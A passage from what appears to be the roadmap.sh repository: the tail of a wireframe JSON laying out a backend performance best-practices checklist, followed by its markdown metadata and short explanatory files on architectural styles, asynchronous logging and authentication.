\"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1810\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"104\",\n          \"measuredW\": \"458\",\n          \"measuredH\": \"59\",\n          \"w\": \"458\",\n          \"h\": \"59\",\n          \"x\": \"262\",\n          \"y\": \"1003\",\n          \"properties\": {\n            \"controlName\": \"lazy-eager\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"458\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Utilize features such as lazy loading, eager loading,\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"428\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"31\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"and batch processing to optimize data retrieval.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1812\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"105\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"1526\",\n          \"properties\": {\n            \"controlName\": \"check:profiling-tools\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1813\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"106\",\n          \"measuredW\": \"391\",\n          \"measuredH\": \"28\",\n          \"w\": \"391\",\n          \"h\": \"28\",\n          \"x\": \"262\",\n          \"y\": \"1527\",\n          \"properties\": {\n            \"controlName\": \"profiling-tools\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"391\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Use profiling tools offered by your database.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1814\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"107\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"853\",\n          \"y\": \"1473\",\n          \"properties\": {\n            \"controlName\": \"check:connection-timeouts\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1815\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"108\",\n          \"measuredW\": \"470\",\n          \"measuredH\": \"60\",\n          \"w\": \"470\",\n          \"h\": \"60\",\n          \"x\": \"899\",\n          \"y\": \"1474\",\n          \"properties\": {\n            \"controlName\": \"connection-timeouts\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"470\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Set appropriate connection timeouts and implement\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"455\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"32\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"efficient retry mechanism to handle network issues\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1816\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"109\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"854\",\n          \"y\": \"1553\",\n          \"properties\": {\n            \"controlName\": \"check:similar-requests\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1817\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"110\",\n          \"measuredW\": \"483\",\n          \"measuredH\": \"59\",\n          \"w\": \"483\",\n          \"h\": \"59\",\n          \"x\": \"900\",\n          \"y\": \"1554\",\n          \"properties\": {\n            \"controlName\": \"similar-requests\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"483\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Batch similar requests together to minimize overhead\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"342\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"31\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"and reduce the number of round trips.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1818\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"111\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"852\",\n          \"y\": \"1846\",\n          \"properties\": {\n            \"controlName\": \"check:async-logging\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1819\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"112\",\n          \"measuredW\": \"467\",\n          \"measuredH\": \"59\",\n          \"w\": \"467\",\n          \"h\": \"59\",\n          \"x\": \"898\",\n          \"y\": \"1846\",\n          \"properties\": {\n            \"controlName\": \"async-logging\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"467\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Use asynchronous logging mechanisms to minimise\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"196\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"31\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"the logging overhead.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1820\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"113\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"467\",\n          \"properties\": {\n            \"controlName\": \"check:utilize-caching\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1821\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"114\",\n          \"measuredW\": \"504\",\n          \"measuredH\": \"28\",\n          \"w\": \"504\",\n          \"h\": \"28\",\n          \"x\": \"264\",\n          \"y\": \"468\",\n          \"properties\": {\n            \"controlName\": \"utilize-caching\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"504\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Utilize caching mechanisms (HTTP, Server/Client, CDN)\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1824\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"115\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"854\",\n          \"y\": \"1136\",\n          \"properties\": {\n            \"controlName\": \"check:streaming-large\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1825\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"116\",\n          \"measuredW\": \"454\",\n          \"measuredH\": \"28\",\n          \"w\": \"454\",\n          \"h\": \"28\",\n          \"x\": \"900\",\n          \"y\": \"1137\",\n          \"properties\": {\n            \"controlName\": \"streaming-large\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"454\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Implement streaming of large requests/responses\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1826\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"133\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"220\",\n          \"y\": \"2045\",\n          \"properties\": {\n            \"controlName\": \"check:keep-alive\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1827\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"134\",\n          \"measuredW\": \"500\",\n          \"measuredH\": \"28\",\n          \"w\": \"500\",\n          \"h\": \"28\",\n          \"x\": \"265\",\n          \"y\": \"2047\",\n          \"properties\": {\n            \"controlName\": \"keep-alive\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"500\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Utilize HTTP keep-alive to reduce connection overhead\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1828\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"117\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"813\",\n          \"properties\": {\n            \"controlName\": \"check:connection-pool-settings\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1830\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"119\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"1153\",\n          \"properties\": {\n            \"controlName\": \"check:denormalize\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1831\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"120\",\n          \"measuredW\": \"528\",\n          \"measuredH\": \"58\",\n          \"w\": \"528\",\n          \"h\": \"58\",\n          \"x\": \"262\",\n          \"y\": \"1154\",\n          \"properties\": {\n            \"controlName\": \"denormalize\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"528\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Consider denormalizing database schema for ready-heavy\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"356\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"30\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"workloads and reduce JOIN operations.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1832\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"135\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"220\",\n          \"y\": \"2132\",\n          \"properties\": {\n            \"controlName\": \"check:prefetch-preload\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1833\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"136\",\n          \"measuredW\": \"483\",\n          \"measuredH\": \"63\",\n          \"w\": \"483\",\n          \"h\": \"63\",\n          \"x\": \"265\",\n          \"y\": \"2134\",\n          \"properties\": {\n            \"controlName\": \"prefetch-preload\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"482\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"1\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Prefetch or preload resources, data, or dependencies\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"480\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"35\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"required for subsequent requests to minimise latency\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1834\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"121\",\n          \"w\": \"587\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"225\",\n          \"y\": \"1926\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": -0.2686368305519409,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.5001077701859015,\n              \"y\": 0.00033913823433391014\n            },\n            \"p2\": {\n              \"x\": 587.2092515685516,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"1835\",\n          \"typeID\": \"Canvas\",\n          \"zOrder\": \"122\",\n          \"w\": \"297\",\n          \"h\": \"50\",\n          \"measuredW\": \"100\",\n          \"measuredH\": \"70\",\n          \"x\": \"959\",\n          \"y\": \"1948\",\n          \"properties\": {\n            \"color\": \"16776960\"\n          }\n        },\n        {\n          \"ID\": \"1836\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"123\",\n          \"measuredW\": \"187\",\n          \"measuredH\": \"28\",\n          \"x\": \"1014\",\n          \"y\": \"1959\",\n          \"properties\": {\n            \"size\": \"20\",\n            \"text\": \"Performance Testing\"\n          }\n        },\n        {\n          \"ID\": \"1837\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"124\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"850\",\n          \"y\": \"2031\",\n          \"properties\": {\n            \"controlName\": \"check:perf-testing\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1838\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"125\",\n          \"measuredW\": \"510\",\n          \"measuredH\": \"89\",\n          \"w\": \"510\",\n          \"h\": \"89\",\n          \"x\": \"896\",\n          \"y\": \"2030\",\n          \"properties\": {\n            \"controlName\": \"perf-testing\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"508\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Conduct regular performance testing and benchmarking\"\n                  }\n                },\n                {\n                  \"ID\": \"2\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"510\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"30\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"to identify performance regressions, track improvements,\"\n                  }\n                },\n                {\n                  \"ID\": \"3\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"2\",\n                  \"measuredW\": \"390\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"61\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"and fine-tune optimization efforts over time.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1841\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"126\",\n          \"w\": \"1\",\n          \"h\": \"76\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"190\",\n          \"y\": \"376\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.49999999999999994,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 76.17275043077757\n            },\n            \"stroke\": \"dotted\",\n            \"color\": \"16777215\"\n          }\n        },\n        {\n          \"ID\": \"1852\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"86\",\n          \"measuredW\": \"483\",\n          \"measuredH\": \"59\",\n          \"w\": \"483\",\n          \"h\": \"59\",\n          \"x\": \"263\",\n          \"y\": \"1711\",\n          \"properties\": {\n            \"controlName\": \"authentication-authorization\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"482\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"1\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Implement proper authentication and authorization to\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"266\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"31\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"prevent unauthorized access.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1857\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"27\",\n          \"measuredW\": \"505\",\n          \"measuredH\": \"58\",\n          \"w\": \"505\",\n          \"h\": \"58\",\n          \"x\": \"264\",\n          \"y\": \"589\",\n          \"properties\": {\n            \"controlName\": \"cache-invalidation\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"505\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Use proper cache-invalidation strategies to ensure data\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"409\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"30\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"consistency and prevent stale content issues.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1868\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"118\",\n          \"measuredW\": \"517\",\n          \"measuredH\": \"89\",\n          \"w\": \"517\",\n          \"h\": \"89\",\n          \"x\": \"261\",\n          \"y\": \"814\",\n          \"properties\": {\n            \"controlName\": \"connection-pool-settings\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"516\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"1\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Fine-tune connection pool settings (e.g. max connections\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"457\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"30\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"idle timeout, connection reuse params) to optimize\"\n                  }\n                },\n                {\n                  \"ID\": \"2\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"2\",\n                  \"measuredW\": \"498\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"61\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"resource utilization and prevent connection exhaustion.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1875\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"77\",\n          \"measuredW\": \"427\",\n          \"measuredH\": \"59\",\n          \"w\": \"427\",\n          \"h\": \"59\",\n          \"x\": \"899\",\n          \"y\": \"1253\",\n          \"properties\": {\n            \"controlName\": \"critical-paths\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"427\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Identify and optimize critical paths or frequently\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"411\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"31\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"accessed endpoints for overall system health.\"\n                  }\n                }\n              ]\n            }\n          }\n        }\n      ]\n    },\n    \"attributes\": {\n      \"name\": \"New Wireframe 1 copy\",\n      \"order\": 1000009.1336392317,\n      \"parentID\": null,\n      \"notes\": \"\"\n    },\n    \"branchID\": \"Master\",\n    \"resourceID\": \"E62F7257-0C11-4024-8C48-67BDED6B975E\",\n    \"mockupH\": \"2282\",\n    \"mockupW\": \"1230\",\n    \"measuredW\": \"1420\",\n    \"measuredH\": \"2416\",\n    \"version\": \"1.0\"\n  },\n  \"groupOffset\": {\n    \"x\": 0,\n    \"y\": 0\n  },\n  \"dependencies\": [],\n  \"projectID\": \"file:///Users/kamrify/Desktop/New%20Roadmaps/Android%20Roadmap.bmpr\"\n}"
  },
  {
    "path": "src/data/best-practices/backend-performance/backend-performance.md",
    "content": "---\njsonUrl: '/jsons/best-practices/backend-performance.json'\npdfUrl: '/pdfs/best-practices/backend-performance.pdf'\norder: 1\nbriefTitle: 'Backend Performance'\nbriefDescription: 'Backend Performance Best Practices'\nisNew: false\nisUpcoming: false\ntitle: 'Backend Performance Best Practices'\ndescription: 'Detailed list of best practices to improve your backend performance'\ndimensions:\n  width: 968\n  height: 1789.23\nschema:\n  headline: 'Backend Performance Best Practices'\n  description: 'Detailed list of best practices to improve the backend performance of your website. Each best practice carries further details and how to implement that best practice.'\n  imageUrl: 'https://roadmap.sh/best-practices/backend-performance.png'\n  datePublished: '2023-01-23'\n  dateModified: '2023-01-23'\nseo:\n  title: 'Backend Performance Best Practices'\n  description: 'Detailed list of best practices to improve the backend performance of your website. Each best practice carries further details and how to implement that best practice.'\n  keywords:\n    - 'backend performance'\n    - 'api performance'\n    - 'backend performance best practices'\n    - 'backend performance checklist'\n    - 'backend checklist'\n    - 'make performant backends'\n---\n"
  },
  {
    "path": "src/data/best-practices/backend-performance/content/architectural-styles.md",
    "content": "# Architectural Styles and Service Decomposition\n\nBackend performance in web applications greatly depends on the selection of architectural styles like Service-Oriented Architecture (SOA) or Microservices and the ability to decompose services when necessary. For instance, using Microservices, an application is broken into smaller, loosely coupled services, making it easy to maintain and scale, improving the overall backend performance. Service decomposition, on the other hand, allows for the distribution of responsibilities, meaning if one service fails, it won't likely impact the entire system. Thus, understanding and efficiently managing architectural styles and service decomposition are critical for the optimized backend performance in web applications."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/async-logging.md",
    "content": "# Asynchronous Logging Mechanisms\n\nTo optimise backend performance in web applications, implementing asynchronous logging mechanisms becomes crucial. It diminishes the logging overhead, thereby speeding up the execution flow of an application. For instance, the application does not need to wait for the logging data to be written on the disk, as the writing task is executed in the background, enabling the next instructions to execute without interruption. This also prevents unnecessary queuing of tasks, thereby bolstering the overall throughput of the backend operations. Netflix's open-source tool called 'Zuul' exhibits this concept where they use async logging to achieve scalability in high traffic."
  },
  {
    "path": "src/data/best-practices/backend-performance/content/authentication-authorization.md",
    "content": "# Implementing Proper Authentication and Authorization\n\nIn the backend performance of web applications, robust authentication and authorization play an integral role. Having tight security measures ensures the application's optimal functioning by preventing unauthorized access. These precautionary measures protect the system from external threats such as data breaches or malicious attacks. For example, imagine a banking application without stringent authentication procedures. It could be easily exploited by hackers, leading to serious loss of finances and damage to the bank's reputation. Therefore, secure authentication and authorization is essential for maintaining the application's integrity and stability, ultimately contributing to efficient backend performance."
